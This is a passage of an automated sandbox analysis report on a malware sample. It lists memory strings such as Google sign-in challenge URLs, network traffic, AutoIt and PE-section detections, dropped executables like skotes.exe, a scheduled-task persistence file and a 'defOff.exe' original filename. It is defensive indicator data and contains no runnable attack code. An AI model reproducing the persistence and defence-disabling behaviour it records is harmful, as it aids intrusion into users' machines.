Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
Source: firefox.exe, 0000001F.00000002.2974405710.000001B3388E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3170442759.000001B34489A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3184776895.000002A0903CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ifeng.com/
Source: firefox.exe, 0000001F.00000002.2974405710.000001B3388E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3170442759.000001B34489A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3184776895.000002A0903CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/
Source: firefox.exe, 0000001F.00000002.3170442759.000001B34489A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.leboncoin.fr/
Source: firefox.exe, 0000001F.00000002.3041098315.000001B33C894000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3155816904.000001B3445D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2997292239.000001B33A0A3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3155816904.000001B3445D9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2943349248.00000059CA5FC000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tour/
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/geolocation/
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/xr/
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
Source: 70bf1463df.exe, 00000010.00000003.2644297978.00000000054E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: firefox.exe, 0000001F.00000003.2926225289.000001B33C1CB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2925719631.000001B344649000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2919144678.000001B344623000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/
Source: 70bf1463df.exe, 00000010.00000003.2644297978.00000000054E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: file.exe, 00000000.00000003.1755238948.0000000005792000.00000004.00000800.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2644297978.00000000054E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: 70bf1463df.exe, 00000010.00000003.2644297978.00000000054E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/android/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#crash-reporter
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
Source: firefox.exe, 0000001F.00000002.2960711583.000001B337D5F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: file.exe, 00000000.00000003.1755238948.0000000005792000.00000004.00000800.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2644297978.00000000054E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: firefox.exe, 0000001F.00000002.2943349248.00000059CA5FC000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.orgo
Source: firefox.exe, 0000001F.00000003.2896470004.000001B33EADC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3184776895.000002A09032B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3101337060.000001B33EADC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com
Source: firefox.exe, 0000001F.00000002.3184776895.000002A0903CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.olx.pl/
Source: firefox.exe, 0000001F.00000002.2974405710.000001B338803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 0000001F.00000002.3018495094.000001B33C003000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2983947993.000001B339461000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3170442759.000001B34489A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3184776895.000002A0903CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 0000001F.00000002.3184776895.000002A09032B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.tsn.ca
Source: firefox.exe, 0000001F.00000002.2974405710.000001B338803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.widevine.com/
Source: firefox.exe, 0000001F.00000002.3184776895.000002A0903CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.wykop.pl/
Source: firefox.exe, 0000001F.00000002.2974405710.000001B3388E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3184776895.000002A0903CE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3018495094.000001B33C0A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 0000001F.00000002.2974405710.000001B3388E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3184776895.000002A0903CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 0000001F.00000002.2997292239.000001B33A03B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 0000001F.00000002.3146987658.000001B344294000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3124626191.000001B33FBC9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3148422316.000001B344305000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3079754449.000001B33E6BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/
Source: firefox.exe, 0000001F.00000002.3079754449.000001B33E6BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 0000001D.00000002.2766624588.000002176A587000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2775791899.000002900910A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2953348583.000001B32C2B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 0000001F.00000002.3129606500.000001B33FE0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdHN
Source: firefox.exe, 0000001F.00000002.2956554987.000001B32DE59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMOZ_CRASHREPORTER_RE
Source: firefox.exe, 0000001F.00000002.2996082321.000001B339CDB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMOr
Source: firefox.exe, 0000001F.00000002.2974405710.000001B33886C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdUnsupported
Source: firefox.exe, 0000001F.00000002.2954007485.000001B32C511000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdkP
Source: firefox.exe, 0000001F.00000002.3084413359.000001B33E7F1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2911101569.000001B33E7F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdv

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64020
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63922
Source: unknown	Network traffic detected: HTTP traffic on port 64006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64015
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64014
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64019
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63933
Source: unknown	Network traffic detected: HTTP traffic on port 63958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63892
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63900
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63943
Source: unknown	Network traffic detected: HTTP traffic on port 64008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64019 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64010
Source: unknown	Network traffic detected: HTTP traffic on port 64015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64009
Source: unknown	Network traffic detected: HTTP traffic on port 64009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63958
Source: unknown	Network traffic detected: HTTP traffic on port 64012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64004
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64006
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64008

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63882 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63892 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63900 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63909 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63922 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63933 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63943 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63958 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:64010 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:64013 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:64014 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:64019 version: TLS 1.2

System Summary

Binary is likely a compiled AutoIt script file

Source: 384a543dd0.exe, 00000012.00000000.2730995677.00000000007F2000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.		memstr_6b1fa3e8-f
Source: 384a543dd0.exe, 00000012.00000000.2730995677.00000000007F2000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer		memstr_64b944d9-3

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: NSXWT8JG74T0IR99MSITIVFVWS7V.exe.0.dr	Static PE information: section name:
Source: NSXWT8JG74T0IR99MSITIVFVWS7V.exe.0.dr	Static PE information: section name: .idata
Source: VG65QSLZVUGSLKDE78EZSIIG.exe.0.dr	Static PE information: section name:
Source: VG65QSLZVUGSLKDE78EZSIIG.exe.0.dr	Static PE information: section name: .idata
Source: VG65QSLZVUGSLKDE78EZSIIG.exe.0.dr	Static PE information: section name:
Source: skotes.exe.5.dr	Static PE information: section name:
Source: skotes.exe.5.dr	Static PE information: section name: .idata
Source: skotes.exe.5.dr	Static PE information: section name:
Source: random[1].exe.8.dr	Static PE information: section name:
Source: random[1].exe.8.dr	Static PE information: section name: .idata
Source: 70bf1463df.exe.8.dr	Static PE information: section name:
Source: 70bf1463df.exe.8.dr	Static PE information: section name: .idata
Source: random[1].exe0.8.dr	Static PE information: section name:
Source: random[1].exe0.8.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.8.dr	Static PE information: section name: .idata
Source: random[1].exe0.8.dr	Static PE information: section name:
Source: e90585a72a.exe.8.dr	Static PE information: section name:
Source: e90585a72a.exe.8.dr	Static PE information: section name: .rsrc
Source: e90585a72a.exe.8.dr	Static PE information: section name: .idata
Source: e90585a72a.exe.8.dr	Static PE information: section name:

PE file has a writeable .text section

Source: num[1].exe.8.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: num.exe.8.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_003FE530	8_2_003FE530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00437049	8_2_00437049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00438860	8_2_00438860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_004378BB	8_2_004378BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00432D10	8_2_00432D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_003F4DE0	8_2_003F4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_004331A8	8_2_004331A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_003F4B30	8_2_003F4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00427F36	8_2_00427F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_0043779B	8_2_0043779B

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\num[1].exe A8ADDC675FCC27C94FF9E4775BB2E090F4DA1287AAE6B95CECC65CCF533BC61D

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6032 -s 1028

Source: file.exe	Binary or memory string: OriginalFilename vs file.exe
Source: file.exe, 00000000.00000003.2053437226.0000000005673000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2021300746.0000000005BCA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2029359159.0000000005BC4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2018496854.0000000005BCE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2014495996.00000000059C2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2030953250.0000000005BC9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2029209673.0000000005CC9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2030593707.0000000005CE7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2019693080.0000000005BD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2029044378.0000000005BCE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2048916852.0000000005BC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2029448911.0000000005CC9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2018722650.0000000005C72000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2023903303.0000000005CAF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2019605284.0000000005D3E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2029669121.0000000005CC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2030123072.0000000005BC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2023404312.0000000005BC2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2022964836.0000000005BC3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2016011202.0000000005CEC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2053302062.000000000569E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2031542594.0000000005BCC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2020685405.0000000005C8A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2028884185.0000000005CCB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2031320497.0000000005CED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2018053104.0000000005BD1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2033230475.0000000005D04000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2020331340.0000000005BC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2031917741.0000000005CFC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2027823500.0000000005CBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2026108410.0000000005CC0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2029892963.0000000005CC8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2022102811.0000000005BCC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2015254783.0000000005C5F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2016600358.0000000005C70000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2019022655.0000000005BC4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2015382369.0000000005BC2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2033801761.0000000005E51000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2031667916.0000000005CF2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
